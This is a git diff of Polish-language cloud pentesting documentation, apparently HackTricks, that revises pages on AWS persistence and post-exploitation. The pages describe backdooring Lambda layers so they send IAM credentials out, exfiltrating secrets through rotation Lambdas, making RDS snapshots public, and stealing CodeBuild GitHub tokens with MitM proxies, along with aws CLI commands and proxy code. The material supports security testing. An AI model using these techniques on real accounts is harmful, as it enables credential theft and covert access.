'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
I oto lista **bibliotek**, które **lambda zawiera zainstalowane domyślnie**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
-### Backdooring warstwy Lambda
+### Backdooring Lambda Layer
W tym przykładzie załóżmy, że kod docelowy importuje **`csv`**. Będziemy **wprowadzać backdoora do importu biblioteki `csv`**.
@@ -87,7 +87,7 @@ Następnie utwórz zip z tym kodem w ścieżce **`python/lib/python3.9/site-pack
Możesz znaleźć ten kod w [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-Zintegrowany ładunek **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane:
+Zintegrowany payload **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -95,12 +95,12 @@ Zintegrowany ładunek **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RA
### Zewnętrzne warstwy
-Zauważ, że możliwe jest użycie **warstw lambda z zewnętrznych kont**. Co więcej, lambda może używać warstwy z zewnętrznego konta, nawet jeśli nie ma uprawnień.\
-Zauważ również, że **maksymalna liczba warstw, które może mieć lambda, wynosi 5**.
+Należy zauważyć, że możliwe jest użycie **warstw lambda z zewnętrznych kont**. Co więcej, lambda może używać warstwy z zewnętrznego konta, nawet jeśli nie ma uprawnień.\
+Należy również zauważyć, że **maksymalna liczba warstw, które może mieć lambda, wynosi 5**.
Dlatego, aby poprawić wszechstronność tej techniki, atakujący mógłby:
-- Wprowadzić tylną furtkę w istniejącej warstwie użytkownika (nic nie jest zewnętrzne)
+- Wprowadzić backdoora do istniejącej warstwy użytkownika (nic nie jest zewnętrzne)
- **Utworzyć** **warstwę** w **swoim koncie**, dać **koncie ofiary dostęp** do używania warstwy, **skonfigurować** **warstwę** w Lambdzie ofiary i **usunąć uprawnienia**.
- **Lambda** nadal będzie mogła **używać warstwy**, a **ofiara nie** będzie miała łatwego sposobu na **pobranie kodu warstwy** (oprócz uzyskania powłoki rev wewnątrz lambdy)
- Ofiara **nie zobaczy zewnętrznych warstw** używanych z **`aws lambda list-layers`**
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index c63e584ce..29114baee 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
../aws-services/aws-lightsail-enum.md
{{#endref}}
-### Pobierz klucze SSH instancji i hasła do bazy danych
+### Pobierz klucze SSH instancji i hasła do DB
-Prawdopodobnie nie będą zmieniane, więc ich posiadanie to dobra opcja na utrzymanie dostępu.
+Prawdopodobnie nie będą zmieniane, więc posiadanie ich to dobry wybór na utrzymanie dostępu
### Backdoor Instancji
@@ -26,8 +26,8 @@ Atakujący mógłby uzyskać dostęp do instancji i wprowadzić backdoora:
Jeśli domeny są skonfigurowane:
-- Utwórz subdomenę wskazującą na Twój adres IP, aby uzyskać **przejęcie subdomeny**
-- Utwórz rekord **SPF**, który pozwoli Ci wysyłać **emaile** z domeny
-- Skonfiguruj **adres IP głównej domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów
+- Utwórz subdomenę wskazującą na Twój IP, aby mieć **przejęcie subdomeny**
+- Utwórz rekord **SPF**, który pozwala Ci wysyłać **emaile** z domeny
+- Skonfiguruj **główny adres IP domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b0311a420..eecd9df15 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -16,11 +16,11 @@ Atakujący z tym uprawnieniem może **zmodyfikować istniejącą instancję RDS,
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
-### Create an admin user inside the DB
+### Utwórz użytkownika administratora w bazie danych
-Atakujący mógłby po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło głównego użytkownika zostanie zmienione, **nie traci dostępu** do bazy danych.
+Atakujący może po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło głównego użytkownika zostanie zmienione, **nie traci dostępu** do bazy danych.
-### Make snapshot public
+### Uczyń migawkę publiczną
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
```
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index 9c9947e8c..308e0a0a9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -10,16 +10,16 @@ Aby uzyskać więcej informacji, sprawdź:
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS Szyfrowanie po stronie klienta
+### KMS Client-Side Encryption
-Gdy proces szyfrowania jest zakończony, użytkownik użyje API KMS do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł ponownie użyć KMS:
+Gdy proces szyfrowania jest zakończony, użytkownik użyje API KMS do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł go ponownie odszyfrować za pomocą KMS:
-W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i deszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go użyć.
+W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i odszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go wykorzystać.
-### Używanie ACL S3
+### Using S3 ACLs
-Chociaż zazwyczaj ACL koszyków są wyłączone, atakujący z wystarczającymi uprawnieniami mógłby je nadużyć (jeśli są włączone lub jeśli atakujący może je włączyć), aby zachować dostęp do koszyka S3.
+Chociaż zazwyczaj ACL-e kubełków są wyłączone, atakujący z wystarczającymi uprawnieniami mógłby je nadużyć (jeśli są włączone lub jeśli atakujący może je włączyć), aby zachować dostęp do kubełka S3.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 3ba6c28ec..b9aa3c8a5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -12,13 +12,13 @@ Aby uzyskać więcej informacji, sprawdź:
### Poprzez Polityki Zasobów
-Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź [**stronę Privesc Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) po więcej informacji. Zauważ, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**.
+Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź stronę [**Secrets Manager Privesc**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) po więcej informacji. Zauważ, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**.
### Poprzez Lambda Rotacji Sekretów
-Aby **automatycznie rotować sekrety**, wywoływana jest skonfigurowana **Lambda**. Jeśli atakujący mógłby **zmienić** **kod**, mógłby bezpośrednio **wyeksportować nowy sekret** do siebie.
+Aby **automatycznie rotować sekrety**, wywoływana jest skonfigurowana **Lambda**. Jeśli atakujący mógłby **zmienić** **kod**, mógłby bezpośrednio **wyeksfiltrować nowy sekret** do siebie.
-Tak mógłby wyglądać kod lambda do takiej akcji:
+Tak może wyglądać kod lambda do takiej akcji:
```python
import boto3
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 18205f120..a8094607b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -12,8 +12,8 @@ Aby uzyskać więcej informacji, sprawdź:
### Persistence
-Podczas tworzenia **tematu SNS** musisz wskazać w polityce IAM **kto ma dostęp do odczytu i zapisu**. Możliwe jest wskazanie zewnętrznych kont, ARN ról lub **nawet "\*"**.\
-Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w temacie SNS o nazwie **`MySNS.fifo`**:
+Tworząc **SNS topic**, musisz wskazać w polityce IAM **kto ma dostęp do odczytu i zapisu**. Możliwe jest wskazanie zewnętrznych kont, ARN ról lub **nawet "\*"**.\
+Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w SNS topic o nazwie **`MySNS.fifo`**:
```json
{
"Version": "2008-10-17",
@@ -67,7 +67,7 @@ Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w temacie SN
Aby kontynuować eksfiltrację wszystkich wiadomości ze wszystkich tematów, atakujący może **utworzyć subskrybentów dla wszystkich tematów**.
-Zauważ, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**.
+Należy zauważyć, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**.
```bash
aws sns subscribe --region \
--protocol http \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 85a3009c2..21d99e6c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -1,8 +1,8 @@
-# AWS - Utrzymywanie Funkcji Kroków
+# AWS - Utrzymywanie w Step Functions
{{#include ../../../banners/hacktricks-training.md}}
-## Funkcje Kroków
+## Step Functions
Aby uzyskać więcej informacji, sprawdź:
@@ -10,12 +10,12 @@ Aby uzyskać więcej informacji, sprawdź:
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Wprowadzanie Tylnych Drzwi do Funkcji Kroków
+### Backdooring funkcji krokowych
-Wprowadź tylne drzwi do funkcji kroków, aby wykonała dowolny trik utrzymania, tak aby za każdym razem, gdy jest uruchamiana, wykonywała twoje złośliwe kroki.
+Zainstaluj backdoora w funkcji krokowej, aby wykonała dowolny trik utrzymania, tak aby za każdym razem, gdy jest uruchamiana, wykonywała twoje złośliwe kroki.
-### Wprowadzanie Tylnych Drzwi do Aliasów
+### Backdooring aliasów
-Jeśli konto AWS używa aliasów do wywoływania funkcji kroków, możliwe byłoby zmodyfikowanie aliasu, aby używał nowej wersji funkcji kroków z tylnymi drzwiami.
+Jeśli konto AWS używa aliasów do wywoływania funkcji krokowych, możliwe byłoby zmodyfikowanie aliasu, aby używał nowej wersji funkcji krokowej z backdoorem.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 5a6869ca6..b5c084c61 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, przejdź do:
### Token roli
-Tymczasowe tokeny nie mogą być wylistowane, więc utrzymanie aktywnego tymczasowego tokena jest sposobem na utrzymanie trwałości.
+Tymczasowe tokeny nie mogą być wylistowane, więc utrzymanie aktywnego tymczasowego tokena jest sposobem na zachowanie trwałości.
aws sts get-session-token --duration-seconds 129600
@@ -22,11 +22,11 @@ aws sts get-session-token \
--token-code <code-from-token>
# Nazwa urządzenia sprzętowego to zazwyczaj numer z tyłu urządzenia, taki jak GAHT12345678
-# Nazwa urządzenia SMS to ARN w AWS, taki jak arn:aws:iam::123456789012:sms-mfa/nazwa_użytkownika
-# Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/nazwa_użytkownika
+# Nazwa urządzenia SMS to ARN w AWS, taki jak arn:aws:iam::123456789012:sms-mfa/username
+# Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/username
-### Żonglowanie rolami
+### Juggling łańcucha ról
[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaszenia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwaną odnowę poświadczeń.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index b9c70cf50..ca2a4bc67 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -21,7 +21,7 @@ Ta technika została znaleziona w [**tym opisie CTF**](https://blog-tyage-net.tr
Jak wskazano w [**dokumentacji AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) w sekcji `PassthroughBehavior`, domyślnie wartość **`WHEN_NO_MATCH`**, podczas sprawdzania nagłówka **Content-Type** żądania, przekaże żądanie do zaplecza bez transformacji.
-W związku z tym, w CTF brama API miała szablon integracji, który **zapobiegał wyciekowi flagi** w odpowiedzi, gdy wysłano żądanie z `Content-Type: application/json`:
+W związku z tym, w CTF brama API miała szablon integracji, który **zapobiegał wyciekowi flagi** w odpowiedzi, gdy żądanie zostało wysłane z `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
@@ -32,11 +32,11 @@ Na koniec, ponieważ API Gateway pozwalał tylko na `Get` i `Options`, możliwe
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
-### Usage Plans DoS
+### Plany Użytkowania DoS
-W sekcji **Enumeration** możesz zobaczyć, jak **uzyskać plan użycia** kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz **po prostu go użyć i spowodować DoS**.
+W sekcji **Enumeracja** możesz zobaczyć, jak **uzyskać plan użytkowania** kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz **po prostu go użyć i spowodować DoS**.
-**API Key** musi być **dołączony** w **nagłówku HTTP** o nazwie **`x-api-key`**.
+**Klucz API** musi być **dołączony** w **nagłówku HTTP** o nazwie **`x-api-key`**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
+**Potencjalny wpływ**: Wycieki wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
> [!NOTE]
> Wymaga testowania
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-Napastnik z uprawnieniami `apigateway:UpdateStage` i `apigateway:CreateDeployment` może **zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, aby uzyskać nieautoryzowany dostęp do danych w pamięci podręcznej**.
+Atakujący z uprawnieniami `apigateway:UpdateStage` i `apigateway:CreateDeployment` może **zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, aby uzyskać nieautoryzowany dostęp do danych w pamięci podręcznej**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potencjalny wpływ**: Nieautoryzowany dostęp do pamięci podręcznej danych, zakłócanie lub przechwytywanie ruchu API.
+**Potencjalny wpływ**: Nieautoryzowany dostęp do danych w pamięci podręcznej, zakłócanie lub przechwytywanie ruchu API.
> [!NOTE]
> Wymaga testowania
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
+**Potencjalny wpływ**: Wycieki wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
> [!NOTE]
> Wymaga testowania
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia API Gateway REST API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**.
+Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia REST API bramy API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**.
```bash
API_ID="your-api-id"
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 5a9928365..1d333427f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -26,6 +26,6 @@ Uzyskując dostęp do odpowiedzi, możesz ukraść ciasteczko użytkowników i w
- **Zmień kod** funkcji lambda, aby ukraść wrażliwe informacje
-Możesz sprawdzić [**kod tf, aby odtworzyć te scenariusze tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Możesz sprawdzić [**kod tf do odtworzenia tych scenariuszy tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 5fe157268..d58459e68 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
### Sprawdź Sekrety
-Jeśli poświadczenia zostały ustawione w Codebuild do łączenia się z Github, Gitlab lub Bitbucket w formie osobistych tokenów, haseł lub dostępu za pomocą tokena OAuth, te **poświadczenia będą przechowywane jako sekrety w menedżerze sekretów**.\
+Jeśli dane uwierzytelniające zostały ustawione w Codebuild w celu połączenia z Github, Gitlab lub Bitbucket w formie tokenów osobistych, haseł lub dostępu za pomocą tokena OAuth, te **dane uwierzytelniające będą przechowywane jako sekrety w menedżerze sekretów**.\
Dlatego, jeśli masz dostęp do odczytu menedżera sekretów, będziesz mógł uzyskać te sekrety i przejść do połączonej platformy.
{{#ref}}
@@ -27,16 +27,16 @@ Aby skonfigurować **CodeBuild**, będzie potrzebny **dostęp do repozytorium ko
**Projekt CodeBuild musi mieć dostęp** do skonfigurowanego dostawcy źródła, albo za pomocą **roli IAM**, albo z użyciem **tokena github/bitbucket lub dostępu OAuth**.
-Atakujący z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których mają dostęp ustawione poświadczenia.\
-Aby to zrobić, atakujący musiałby tylko **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane poświadczenia** (zauważ, że strona aws wyświetli wszystkie z nich):
+Napastnik z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których ustawione dane uwierzytelniające mają dostęp.\
+Aby to zrobić, napastnik musiałby po prostu **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane dane uwierzytelniające** (zauważ, że strona aws wyświetli wszystkie z nich):
-I **zmienić polecenia Buildspec, aby wyeksportować każde repozytorium**.
+I **zmienić polecenia Buildspec, aby wyeksfiltrować każde repozytorium**.
> [!WARNING]
-> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, atakujący **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\
-> Czyżby? Sprawdź następny rozdział
+> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, napastnik **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\
+> A może ma? Sprawdź następny rozdział
### Wyciek Tokenów Dostępu z AWS CodeBuild
@@ -54,11 +54,11 @@ Napastnik mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę k
```bash
aws codebuild delete-project --name
```
-**Potencjalny wpływ**: Utrata konfiguracji projektu i zakłócenia w działaniu aplikacji korzystających z usuniętego projektu.
+**Potencjalny wpływ**: Utrata konfiguracji projektu i zakłócenie działania aplikacji korzystających z usuniętego projektu.
### `codebuild:TagResource` , `codebuild:UntagResource`
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów, śledzenie zasobów i polityki kontroli dostępu w oparciu o tagi.
+Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 22a31d0a0..633cfe94e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -10,7 +10,7 @@ aws codebuild list-source-credentials
```
### Via Docker Image
-Jeśli stwierdzisz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **ekstrahować** ten **dostęp** (**GH token lub OAuth token**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
+Jeśli odkryjesz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **ekstrahować** ten **dostęp** (**token GH lub token OAuth**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **obraz Docker**.
@@ -27,7 +27,7 @@ Obraz Docker, którego możesz użyć, to [https://github.com/carlospolop/docker
-3. **Ustaw proxy MitM w swoim hoście**
+3. **Ustaw proxy MitM na swoim hoście**
- Jak wskazano w **repozytorium Github**, możesz użyć czegoś takiego:
```bash
@@ -36,13 +36,13 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
> [!TIP]
> Wersja **mitmproxy używana to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
-4. **Uruchom budowę i przechwyć poświadczenia**
+4. **Uruchom budowę i przechwyć dane uwierzytelniające**
- Możesz zobaczyć token w nagłówku **Authorization**:
-Można to również zrobić z aws cli za pomocą czegoś takiego
+Można to również zrobić z aws cli za pomocą czegoś takiego jak
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
-**Codebuild** projekty mają ustawienie zwane **`insecureSsl`**, które jest ukryte w sieci i można je zmienić tylko z poziomu API.\
+**Codebuild** projekty mają ustawienie zwane **`insecureSsl`**, które jest ukryte w interfejsie webowym, można je zmienić tylko z poziomu API.\
Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
-- Najpierw musisz enumerować bieżącą konfigurację za pomocą czegoś takiego:
+- Najpierw musisz wyenumerować bieżącą konfigurację za pomocą czegoś takiego:
```bash
aws codebuild batch-get-projects --name
```
@@ -134,7 +134,7 @@ mitm.run()
### ~~Via HTTP protocol~~
-> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)**
+> [!TIP] > **Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już z niej korzystać :)**
Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby wyciekować token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**.
@@ -144,7 +144,7 @@ Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby wyciekować tok
-- Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
+- Następnie zmień URL repozytorium github na używający HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,11 +158,11 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Następnie kliknij na **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
+- Następnie kliknij **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
```sh
aws codebuild start-build --project-name
```
-- W końcu **poświadczenia** będą **wysyłane w czystym tekście** (base64) do portu mitm:
+- W końcu **dane uwierzytelniające** będą **wysyłane w czystym tekście** (base64) do portu mitm:
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index a2ece8d0d..9e6752fd3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -6,13 +6,13 @@
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
